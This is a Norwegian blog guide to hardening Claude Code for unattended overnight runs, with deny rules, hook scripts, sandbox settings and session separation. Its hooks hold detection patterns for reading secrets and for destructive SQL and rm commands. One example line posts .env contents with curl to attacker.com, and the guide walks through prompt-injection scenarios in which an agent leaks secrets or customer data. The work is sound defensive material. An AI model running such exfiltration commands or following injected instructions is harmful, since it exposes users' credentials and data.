# Slik konfigurerer du Claude Code slik at det ikke ødelegger prosjektet ditt over natten
> 7 hooks, settings.json med permissions og en sjekklistet på 12 punkter for å la Claude Code jobbe natten over uten å miste .env eller en database. Beskyttelse i 4 lag.
Source: https://ailoot.ai/blog/nb/claude-code-safe-overnight-setup/
Canonical: https://ailoot.ai/blog/nb/claude-code-safe-overnight-setup/
Language: nb
Publisher: Ailoot (https://ailoot.ai/)
Translation: guide-154
Revision: sha256-f6ed00548502484e3c7833b28fba37cbea9e749661c399ecf655c0406f22c25e
[Ailoot-dokumentasjon](https://ailoot.ai/docs/) — referansemateriale for bruk av tjenesten.
## Hva endres i 2026: autonom Claude Code og reelle hendelser
Hovedpoeng
I 2026 lanserte Anthropic `auto-mode`, `/loop` og `/schedule`—Claude Code kan nå jobbe i timevis uten bekreftelser. Prisen for autonomi er reelle hendelser: produksjonsdatabaser som slettes, `.env`-lekkasjer og en feil i `permissions.deny` som fortsatt ikke er rettet. Denne veiledningen viser 4 lag med beskyttelse du bør sette opp før den første nattlige kjøringen.
Tidligere stoppet Claude Code etter hvert svar og ba om tillatelse for hver skriving. Det var upraktisk, men trygt: Du kunne fysisk sett ikke sove gjennom en hendelse fordi agenten ventet på ditt «ja». I 2026 brøt denne modellen sammen. Anthropic lanserte `auto-mode`—en separat klassifiseringsagent avgjør på dine vegne om hver handling skal tillates. Kommandoen `/loop` dukket opp (kjører en ledetekst med intervaller i en økt), og det gjorde også `/schedule` (planlegging som med cron for langvarige oppgaver). Bakgrunnsøkter startet med `claude --bg` kjører agenten i bakgrunnen uten en terminal. Jeg har gått grundig gjennom autonom modus i veiledningen [«/goal i Claude Code: autonom modus og Agent View»](https://ailoot.ai/blog/nb/claude-code-goal-agent-view/).
Problemet er at autonomien ble rullet ut raskere enn sikkerheten fulgte etter.
For et par uker siden ba jeg den om å «rydde opp», og den endte med å slette både produksjonsdatabasene og utviklingsdatabasene mine.
— browningstreet
Samtidig finnes det to åpne saker i Anthropics repository som du bør kjenne til før du legger `permissions.deny` til i `settings.json`:
- **Sak \#44868** (7. april 2026): Claude Code leser innholdet i `.env` via `grep -n` inn i chattranskripsjonen, til tross for et uttrykkelig forbud i `CLAUDE.md`. Feilen er fortsatt åpen.
- **Sak \#24846** (11. februar 2026): `permissions.read.deny`-regler for `.env*`-mønstre blir ikke fulgt—`Read` leser `.env.local` til tross for et korrekt deny-mønster. Saken ble lukket som en duplikat, ikke rettet.
Disse hullene viser at ett beskyttelseslag i `settings.json` er utilstrekkelig. Neste modell har fire lag: permissions + hooks + sandbox + øktseparering. Hvert kan redusere eksponering, men gjør ikke de andre fullstendige. Den siterte auto-mode-evalueringen beviser ikke at en regex-hook fanger bommene. For produksjon bruker du et isolert operativsystemmiljø uten produksjonstilganger eller skrivetilgang, håndhever nettverksbegrensninger utenfor modellen og tester grensene før kjøring uten tilsyn.
## Hva er de grønne og røde prosjektsoneområdene?
Hovedpoeng
Grønn sone: et lokalt prosjekt uten aktive kunder eller penger. Rød sone: alt med en produksjonsdatabase, betalinger eller personopplysninger. I den grønne sonen kan du bruke `auto-mode` med et minimum av hooks. I den røde sonen bygges beskyttelsen i 4 lag, og `--dangerously-skip-permissions` er arkitektonisk forbudt.
Det er meningsløst å bygge den samme beskyttelsen for hvert prosjekt. Et lokalt hobbyprosjekt på maskinen din som ikke er distribuert eksternt, har et helt annet risikonivå enn en tjeneste som håndterer reelle betalinger og lagrer kundedata. Hvis du bruker den samme beskyttelsen overalt, hemmer du farten i den grønne sonen og etterlater fortsatt hull i den røde sonen.
Et prosjekt går fra grønt til rødt så snart minst én av tre betingelser er oppfylt: aktive kunder kommer til, penger begynner å flyte gjennom systemet, eller databasen inneholder personopplysninger. Fram til da kan du bruke `auto-mode`, et minimum av hooks og ingen sandbox. Etter det må beskyttelsen bygges om i tråd med det fullstendige oppsettet i denne veiledningen.
Hovedprinsippet: beskyttelsesnivået knyttes til sonen. Utviklingsstadiet teller ikke. Et hobbyprosjekt på maskinen din med en testkonto hos Stripe er i den grønne sonen. En tjeneste med én betalende kunde og et registreringsskjema er allerede i den røde sonen, selv om den fortsatt ser ut som et «utkast». Å forveksle disse sonene er en vanlig felle i tidlige prosjekter: «Vi er fortsatt i utkastfasen, vi legger til beskyttelse senere», og så betaler den første kunden neste uke.
## Hvordan fungerer permissions-hierarkiet i settings.json?
Hovedpoeng
I `settings.json` overstyrer `deny`-regler alltid `allow`, mens omfangene (user → project → local → managed) slås sammen i stedet for å overskrive hverandre. En deny-regel på brukernivå for `.env`, `*.pem` og `~/.ssh/**` beskytter deg selv i andres repository. Nøkkelen `disableBypassPermissionsMode` blokkerer også YOLO-modus arkitektonisk.
Anthropic beskriver hierarkiet for evaluering av permissions i sin [offisielle dokumentasjon](https://code.claude.com/docs/en/settings): deny-regler sjekkes først, deretter ask, så allow—den første regelen som samsvarer, vinner. Det betyr at `deny` alltid overstyrer `allow`. Hvis du forbyr lesing av `.env` i `~/.claude/settings.json`, og noen setter `allow` i prosjektets `.claude/settings.json`, er det forbudet ditt som gjelder, ikke tillatelsen deres.
Eksempel på en minimal, trygg `~/.claude/settings.json` på brukernivå:
```json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
```
Hva skjer her? De seks første reglene hindrer lesing av hemmelige filer i gjeldende mappe og alle undermapper. `*.pem` og `*.key` er SSL/TLS-nøkler og SSH-nøkler. `credentials*.json` er et typisk filnavn brukt av skyleverandører. De tre siste er systemmapper med SSH-nøkler, AWS-legitimasjon og GPG-nøkler.
Nøkkelen `disableBypassPermissionsMode: "disable"` blokkerer flagget `--dangerously-skip-permissions` (også kjent som YOLO-modus). Dette fjerner én type feil én gang for alle: Selv om du ved et uhell legger til flagget i et skript eller alias, vil Claude Code nekte å godta det. Den fjerner det ikke bare—den returnerer feilen «mode disabled by managed settings».
I tillegg ignoreres nøkkelen `defaultMode: "auto"` fra og med versjon 2.1.142 hvis den ligger i prosjekt- eller lokale innstillinger. Dette beskytter mot situasjonen «Jeg gikk inn i noen andres repository, og `.claude/settings.json` der har automatisk modus aktivert som standard». Anthropic har uttrykkelig uttalt at repositories ikke kan aktivere auto-mode uten brukerens samtykke.
Dette er den første beskyttelseslinjen. Du kan ikke stoppe her, fordi den har to hull som du får vite om i neste avsnitt.
## Hvorfor er ikke permissions.deny nok: 2 åpne GitHub-saker
Hovedpoeng
I april 2026 opprettet en bruker sak \#44868 i Anthropics repository: Claude leser `.env` gjennom `grep -n` og skriver ut innholdet i transkripsjonen, til tross for forbudet i `CLAUDE.md`. I februar meldte sak \#24846 at `permissions.read.deny` for `.env*` ikke fungerer på Read-verktøynivå. Begge står fortsatt åpne, og begge innebærer at `settings.json` uten en hook på toppen er en lekk sil.
Hvis `permissions.deny` fungerte, kunne veiledningen ha sluttet i forrige avsnitt. Det gjør den ikke.
Sak \#44868 (7. april 2026): Brukeren la uttrykkelig inn et forbud i `CLAUDE.md` mot å lese `.env`, `.dev.vars` og andre filer som inneholder hemmeligheter. I stedet for å bruke Read kjørte Claude `grep -n SOMETHING .env`. Kommandoen `grep -n` skriver ut hele linjen som samsvarer, med linjenummer—inkludert selve API-tokenet. Linjen havner i `tool_result`, vises i øktens transkripsjon og lagres i historikken.
Det subtile poenget forfatteren gjør oppmerksom på: modellens sikkerhetsrefleks slår inn etter at utdataene allerede er produsert, ikke før kommandoen kjøres. Med andre ord kjører Claude først `grep`, får en linje som inneholder tokenet og skriver den i chatten—først da oppdager den feilen og «beklager». Da er tokenet allerede i chatthistorikken. Den eneste løsningen er å rotere nøkkelen.
Sak \#24846 (11. februar 2026): Brukeren konfigurerte `permissions.read.deny` med en liste som inkluderte mønsteret `**/.env*`. Deretter ba de Claude lese `.env.local`. Read-verktøyet ble fullført uten feil og skrev ut filinnholdet.
Saken ble lukket som en duplikat, men ikke rettet. Den kan fortsatt reproduseres per tidspunktet da denne veiledningen ble skrevet (juni 2026).
Konklusjon: Lag 1 i `settings.json` er ikke bortkastet arbeid, men eksemplene måler ikke andelen utilsiktede lesinger det hindrer. Men det hindrer ikke kommandoer via Bash (`cat .env`, `grep API_KEY .env`, `head .env`), håndhevingsfeil (sak \#24846) eller smarte kjeder som bruker `git diff` eller `git show` på en commit som inneholder `.env`. Derfor trenger du et andre lag—hooks.
## Hvordan kan hooks blokkere gjenkjente farlige handlinger?
Hovedpoeng
I Claude Code er hooks skallskript som kjøres ved bestemte hendelser (`PreToolUse`, `UserPromptSubmit`, `Stop`), og som kan blokkere en handling med avslutningskode 2 eller JSON som inneholder `permissionDecision: "deny"`. I motsetning til permissions og `CLAUDE.md` er en hook mellomvare: Den fanger opp et kall før utføring, uten at modellen er involvert.
Hooks fungerer på et annet abstraksjonsnivå enn permissions. Permissions er regler modellen tar hensyn til når den bestemmer hva den skal gjøre. En hook fungerer annerledes: Modellen bestemmer seg for å kalle et verktøy, hooken kjører mellom modellen og systemet, sjekker inndataene og enten tillater eller blokkerer dem. Modellen deltar ikke i hookens avgjørelse—det er skallkode du skriver selv.
Anthropic beskriver blokkeringsatferden i sin [offisielle hooks-dokumentasjon](https://code.claude.com/docs/en/hooks):
Avslutningskode 2 betyr en blokkerende feil. Claude Code ignorerer stdout og all JSON i den. I stedet sendes tekst fra stderr tilbake til Claude som en feilmelding.
— Claude Code-dokumentasjon (Hooks), https://code.claude.com/docs/en/hooks
Dette betyr to ting. For det første kan en riktig konfigurert blokkerende hook avslå det matchende verktøykallet. For `PreToolUse` blokkerer avslutningskode 2 dette kallet. Det beviser ikke at skriptet gjenkjenner enhver farlig tilsvarende kommando. For det andre kan du legge en meningsfull melding i stderr, og Claude vil lese den som en feil og prøve en annen tilnærming. Med andre ord er en hook ikke bare et «gjerde»; den er et «gjerde med et skilt som forklarer hvorfor du ikke kan passere».
Hendelser som kan blokkeres med avslutningskode 2:
- `PreToolUse`—blokkerer verktøykallet før utføring. Den viktigste hendelsen for beskyttende hooks.
- `PermissionRequest`—avslår tillatelse til en handling Claude ba om tillatelse til å utføre.
- `UserPromptSubmit`—blokkerer og sletter brukerens ledetekst. Nyttig hvis ledeteksten inneholder mistenkelig tekst (for eksempel prompt injection fra en plantet e-post).
- `Stop`—hindrer Claude i å avslutte økten. Kan brukes som en «løkke» for å holde agenten i arbeid til en betingelse er oppfylt.
- `PreCompact`—blokkerer automatisk komprimering av kontekst. Nyttig hvis du vil bevare transkripsjonen til en manuell avgjørelse.
- `WorktreeCreate`—avviser oppretting av worktree. Beskyttelse mot at Claude prøver å klone et repository et uventet sted.
Et alternativ til avslutningskode 2 er å returnere JSON med et felt `hookSpecificOutput.permissionDecision`. `permissionDecision` har fire mulige verdier:
- `allow`—tillater handlingen uttrykkelig og omgår standardflyten for permissions.
- `deny`—blokkerer handlingen, tilsvarende avslutningskode 2 for PreToolUse.
- `ask`—sender spørsmålet videre til brukeren (en dialog vises).
- `defer`—utsetter avgjørelsen til den vanlige permissions-logikken.
Dette gir en hook mer kontroll enn en avslutningskode. Med `permissionDecision: "ask"` kan du gjøre stille operasjoner om til operasjoner som krever bekreftelse, uten å blokkere dem helt. Det gjør jeg for `npm install ` og endringer i lockfile.
Hvis du vil lære mer om hvordan hooks fungerer og hvilke 31 hendelser som for øyeblikket finnes i Claude Code, har jeg gått gjennom dem i en egen veiledning [«Hooks i Claude Code: 7 regler klare til kopiering»](https://ailoot.ai/blog/nb/claude-code-hooks/). Deretter gir jeg konkrete hooks for autonomt arbeid.
## Hvilke 7 hooks bruker jeg for nattarbeid?
Hovedpoeng
Illustrerende `PreToolUse`-hooks for 7 scenarioer: Flagg utvalgt hemmelighetslesing, blokker gjenkjente bokstavelige `git push`-kall, filtrer utvalgte SQL- og `rm -rf`-mønstre, gjennomgå pakkeinstallasjoner og manifestendringer, og logg matchende verktøykall. Test treff og bom lokalt før aktivering. Regex-eksemplene er ufullstendige og etablerer ingen produksjonssikkerhetsgrense.
Dette er det andre beskyttelseslaget, som støtter det første. Alle hooks legges i `.claude/hooks/`, registreres via `.claude/settings.json` og krever at jq er installert.
### Hook 1: Beskytt .env, .pem og credentials.json mot lesing
Legger til kontroller for utvalgte Read-baner og vanlige Bash-kommandoer som leser hemmeligheter. Den fanger ikke alle verktøy eller alle måter å lese en hemmelighet på. Fil: `.claude/hooks/block-secret-reads.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
```
Registrering i `.claude/settings.json`:
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
```
Etter installasjonen kjører du `chmod +x .claude/hooks/block-secret-reads.sh`. Test: be Claude lese `.env.local`—du får svaret «Secret file. Use op:// references or env vars.» i stedet for filinnholdet.
### Hook 2: Blokker bokstavelige git push-kall i nattøkter
For en økt uten tilsyn blokkerer dette eksemplet konservativt hvert bokstavelig `git push` som gjenkjennes, også til funksjonsgrener. Det utleder ikke gjeldende gren og avgjør ikke om et force-flagg er trygt. Fil: `.claude/hooks/block-force-push.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
```
Registrer via `PreToolUse` med `Bash`-matcher. Ved å blokkere den gjenkjente push-kommandoen fremfor å tolke flagg og grennavn fanges `git push --force origin main`, `git push origin main --force`, `git push -f`, `git push origin HEAD:main` og en bokstavelig push i en `&&`- eller `;`-kjede. Dette er frakoblede tekstmatchingseksempler, ikke kommandoer som skal kjøres mot en ekstern vert.
Dette er fortsatt en tekstheuristikk. Git-aliaser, shell-funksjoner, `git -C ... push`, konstruerte kommandonavn, skript og andre verktøy kan gå utenom. Det er ingen full shell-parser. Håndhev beskyttede grener på Git-serveren, fjern tilganger som kan omgå dem, og kjør arbeid uten tilsyn i et isolert miljø uten produksjonsskrivetilgang. Manglende hook-treff gir ikke produksjonsfullmakt.
### Hook 3: Blokker destruktive SQL-operasjoner
Tar direkte tak i hendelser der databaser slettes. Fil: `.claude/hooks/block-destructive-sql.sh`:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
```
Registrer: `PreToolUse` med `matcher: "Bash"`. Merk forskjellen: `DROP` og `DELETE` uten `WHERE` blokkeres fullstendig, mens `UPDATE` uten `WHERE` blir `ask`—det kan være legitimt iblant (for eksempel å sette et flagg på alle poster i en migrering), men krever alltid manuell bekreftelse.
### Hook 4: Filter for rm -rf
Kanonisk eksempel fra Anthropics dokumentasjon, tilpasset for å avslå med en begrunnelse:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
```
Hooken tillater `rm -rf node_modules`, `rm -rf .next/cache` og andre slettinger med uttrykkelig angitt omfang. Den blokkerer `rm -rf .`, `rm -rf /`, `rm -rf ~` og lignende «slett alt»-kommandoer.
### Hook 5: Bekreft installasjon av nye pakker
Denne hooken motvirker angrep i forsyningskjeden. Hvis Claude på egen hånd bestemmer seg for å legge til en ny avhengighet, vises en dialog:
```bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
```
Hooken lar installasjoner fra lockfile fortsette fritt, mens det kreves bekreftelse for å legge til en ny avhengighet.
### Hook 6: Beskytt package.json og lockfilen
Enhver endring i et avhengighetsmanifest er et signal om at noen bør inspisere det. Særlig om natten.
```bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
```
Registrer med `PreToolUse` og `Write|Edit`-matcher.
### Hook 7: Ende-til-ende-revisjonslogg over alle Bash-kall
Hvis noe går galt over natten, trenger du en fullstendig logg for å forstå hendelsesforløpet. Registrer i `settings.json` (hooken har ikke et eget skript; jq gjør alt):
```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
```
Filen `.claude/audit.jsonl` vokser med én linje om gangen. Om morgenen, etter en nattlig `/loop`, kan du kjøre `tail -n 100 .claude/audit.jsonl | jq` og se hva agenten gjorde på hvert tidspunkt. Dette er avgjørende for en etteranalyse fordi øktens transkripsjon kan være lang og vanskelig å lese, mens revisjonsloggen gir en ryddig tidslinje.
## Hvordan beskytter sandbox og worktree-isolering lange økter?
Hovedpoeng
Sandbox i Claude Code er isolering av filsystem og nettverk. Anthropic rapporterer en reduksjon på 84 % i tillatelsesforespørsler med samme sikkerhet. Nettverksisolering blokkerer `.env`-eksfiltrering til en ekstern server, selv om agenten allerede har lest filen. For lange bakgrunnsøkter er sandbox + worktree obligatorisk.
Hvis hooks er et «gjerde med et skilt», er sandboxen et «gjerde + vollgrav + dronenett». Det er det fjerde beskyttelseslaget, som dekker situasjoner der hooks slipper gjennom en handling, men selv utføring av den handlingen ikke bør kunne skade noe utenfor miljøet.
I sitt [blogginnlegg om sandboxing](https://www.anthropic.com/engineering/claude-code-sandboxing) (20. oktober 2025) rapporterer Anthropic interne målinger:
Ifølge våre interne data reduserer sandboxing tillatelsesforespørsler trygt med 84 %.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing
Det betyr at når du aktiverer `/sandbox`, slutter Claude å be om tillatelse for 84 % av handlingene fordi disse handlingene fysisk sett ikke kan forlate sandboxen. Det er nyttig for hastigheten, men det er ikke hovedverdien.
Sandboxen gir to nivåer av isolering, hvert med sin egen rolle:
**Filsystemisolering** begrenser lesing og skriving til uttrykkelig tillatte mapper. Selv om en hook overser et forsøk på å skrive til `/etc/hosts` eller lese `~/.ssh/id_rsa`, slipper sandboxen ikke systemkallet gjennom. Dette er beskyttelse på operativsystemnivå. Applikasjonslaget kan ikke se den.
**Nettverksisolering** tillater bare tilkoblinger til godkjente servere. Dette er avgjørende for angrep med dataeksfiltrering. Scenario: prompt injection i en plantet fil lurte Claude til å lese `.env` (hooken overså det fordi lesingen fulgte en uvanlig bane), og deretter bestemmer modellen seg for å kjøre `curl -X POST attacker.com -d "$ENV_CONTENT"`. Uten nettverksisolering fungerer dette. Med nettverksisolering kan ikke `curl` nå `attacker.com` fordi verten ikke står på listen.
Start den med kommandoen `/sandbox` inne i Claude Code. Konfigurer den i `~/.claude/settings.json`:
```json
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
```
For lange bakgrunnsøkter startet med `claude --bg` kan du legge til worktree-isolering i sandboxen. Dette er en innebygd mekanisme i Claude Code: Hver bakgrunnsøkt flyttes automatisk til sin egen `.claude/worktrees//` på en separat gren. Det betyr at parallelle økter ikke tråkker hverandre på tærne når de skriver til de samme filene. Jeg har gått grundig gjennom worktree-isolering i veiledningen [«Agent View og worktrees: Claude Codes autonome modus»](https://ailoot.ai/blog/nb/claude-code-goal-agent-view/).
Gi Claude en måte å kontrollere arbeidet sitt på.
Sandbox er en del av tilbakemeldingssløyfen. Når Claude vet at handlingene er begrenset, arbeider den mer omhyggelig og beskriver mellomtrinnene tydeligere.
## Hvor fungerer auto-mode i 2026, og hvor fungerer det ikke?
Hovedpoeng
Auto-mode i Claude Code er en Sonnet 4.6-klassifikator som erstatter manuelle tillatelser med automatiserte avgjørelser basert på Anthropics regler. Ifølge Anthropic selv er andelen falske negative ved farlige handlinger 17 %, og økten stopper etter 3 avslag fra klassifikatoren på rad eller 20 totalt. I den grønne sonen er det en rimelig erstatning for manuell godkjenning. I den røde sonen er hooks fortsatt nødvendig.
I mars 2026 lanserte Anthropic auto-mode som «en mellomting mellom manuell gjennomgang og ingen sikkerhetsmekanismer». Det er en separat Sonnet 4.6-modell som vurderer hver Claude-handling opp mot et sett med kriterier før utføring. Anthropic beskrev mekanismene i [Anthropic Engineering-bloggen](https://www.anthropic.com/engineering/claude-code-auto-mode):
Auto-mode er en ny Claude Code-modus som overlater godkjenninger til modellbaserte klassifikatorer. Det er en mellomting mellom manuell gjennomgang og ingen sikkerhetsmekanismer.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
Auto-mode har to viktige begrensninger:
- Hvis en økt samler opp 3 avslag fra klassifikatoren på rad eller 20 totalt, stopper modellen og sender saken videre til et menneske. Dette beskytter mot situasjoner der «Claude går i løkke og prøver å omgå en begrensning med 100 forskjellige formuleringer av den samme kommandoen».
- Auto-mode tillater en handling hvis den ligner på 93 % av typiske tilfeller brukere uansett ville ha godkjent. Dette reduserer tillatelsestretthet, men beskytter ikke mot atypiske, farlige handlinger.
Og her er hovedtallet du bør legge merke til:
En andel falske negative på 17 % for reelle, overivrige handlinger—det er det ærlige tallet.
— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode
De rapporterte 17 % er en falsk-negativ-rate i den evalueringen, ikke en sannsynlighet for hver handling i prosjektet ditt. Det fastslår ikke at eksempelhooks fanger de oversette handlingene. I den røde sonen trenger arbeid uten tilsyn håndhevet isolasjon fra produksjonsskriving og hemmeligheter samt beskyttede grener på serveren og tilganger som ikke kan omgå reglene.
Praktisk konklusjon: Bruk hooks som tilleggskontroller i et miljø som kan kastes og gjenopprettes. Selv et lokalt prosjekt kan ha usporede filer eller tilganger Git ikke gjenoppretter. I den røde sonen må en hook-bom begrenses av faktiske tilgangskontroller. En samling regexer gjør ikke vilkårlig shell-kjøring til en deterministisk sikkerhetsgaranti.
## Hvorfor dele kontekster inn i tre økttyper?
Hovedpoeng
Den farligste kjeden består av tre vanlige kommandoer etter hverandre, ikke én dårlig kommando. Agenten leser `.env` (legitimt), analyserer en innkommende e-post (legitimt) og sender en HTTP-forespørsel eksternt (legitimt). Hver handling er trygg alene; samlet utgjør de dataeksfiltrering. Beskyttelsen er å dele de tre oppgavetypene inn i separate økter med ulike permissions.
Tre typer oppgaver bør aldri finnes i samme økt:
**Type 1: arbeid med personopplysninger.** Økten har tilgang til produksjonsdatabasen, kan sende e-post og se legitimasjon. Den har IKKE tilgang til eksterne dokumenter (e-post, PDF-er, nettsider) og KAN IKKE sende data til vilkårlige adresser.
**Type 2: behandling av eksterne dokumenter.** Økten kan analysere innkommende e-post, laste ned nettsider og lese PDF-er fra e-post. Den har IKKE tilgang til en database med personopplysninger og KAN IKKE sende noe eksternt uten uttrykkelig bekreftelse.
**Type 3: ekstern publisering.** Økten kan publisere på sosiale nettverk, sende e-postkampanjer og opprette pull requests. Den har IKKE tilgang til personopplysninger og analyserer IKKE innkommende innhold.
Hvorfor skille dem? Hvis én økt gjør alt, er én prompt injection i en plantet PDF (et konkurrerende byrå sendte en «faktura») nok til at agenten i én omgang leser kundedatabasen din, finner e-postadressene deres og sender dem til en angripers adresse. Hver handling i denne kjeden er legitim for sin egen oppgavetype. Samlet utgjør de en lekkasje.
Det skumleste mønsteret for dataeksfiltrering er ikke én dårlig kommando. Det er en kjede av helt normale kommandoer. Agenten leser .env (tillatt), sender det over HTTP (tillatt), og så er det gjort.
— ibrahim_h, HackerNews
I praksis implementeres dette med ulike `.claude`-mapper for ulike oppgavetyper. Jeg har tre konfigurasjoner på maskinen min: `~/projects/business-ops/.claude/` (type 1, databasetilgang, nettverk nektet med unntak av interne API-er), `~/projects/inbox-parsing/.claude/` (type 2, alt nettverk nektet), `~/projects/social-posting/.claude/` (type 3, nettverk tillatt for Telegram- og Slack-API-er). Hver mappe er et eget prosjekt for Claude Code med egne permissions og hooks.
## Hvilke 12 punkter på sjekklisten går jeg gjennom før /loop?
Hovedpoeng
En sjekkliste med 12 punkter som jeg går gjennom før jeg starter `/loop`, `/schedule` eller `claude --bg` over natten. Den spenner fra `~/.claude/settings.json` med en grunnleggende deny-regel til `/sandbox` med nettverksisolering. Hvis ett eneste punkt ikke er dekket, starter jeg ikke.
1. `~/.claude/settings.json` med `deny` på brukernivå for `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**`, `~/.aws/**`. Dette er grunnlaget; resten er nytteløst uten det.
2. `disableBypassPermissionsMode: "disable"` i `~/.claude/settings.json`. Blokkerer YOLO-flagget én gang for alle.
3. Eksemplene i `block-secret-reads.sh` er testet på utvalgte hemmelighetslesekommandoer; faktiske hemmeligheter og produksjonstilganger er utilgjengelige for miljøet uten tilsyn.
4. Eksemplet `block-force-push.sh` blokkerer gjenkjente bokstavelige pushes uansett flaggrekkefølge og mål. Beskyttede grener og tilganger uten omgåelse håndheves av Git-serveren.
5. Hooken `block-destructive-sql.sh` for `DROP TABLE`, `TRUNCATE` og `DELETE FROM` uten `WHERE`.
6. Hooken `block-rm-rf.sh` for `rm -rf` uten uttrykkelig angitt omfang.
7. Hooken `ask-on-new-deps.sh` for `npm install ` (atskilt fra `npm install` uten argumenter).
8. Hooken `ask-on-lockfile-change.sh` for skriving til `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml` og `Cargo.toml`.
9. En altomfattende `audit.jsonl`-logg for alle Bash-, Write- og Edit-kall. Uten den er etteranalyse umulig.
10. Alle lange bakgrunnsøkter kjøres i en worktree, ikke på hovedgrenen: `claude --bg "task"` oppretter automatisk en worktree, men kontroller at `settings.json` ikke inneholder `worktree.bgIsolation: "none"`.
11. `/sandbox` før du starter en lang, autonom oppgave. Filsystemet begrenses til prosjektmappen og `/tmp`. Nettverket bruker en godkjenningsliste med api.anthropic.com, github.com og registry.npmjs.org.
12. Et verifiseringstrinn i selve oppgaven: Kjør testverktøyet eller linteren etter hver større endring. Hvis de feiler, fortsetter ikke agenten før de er rettet.
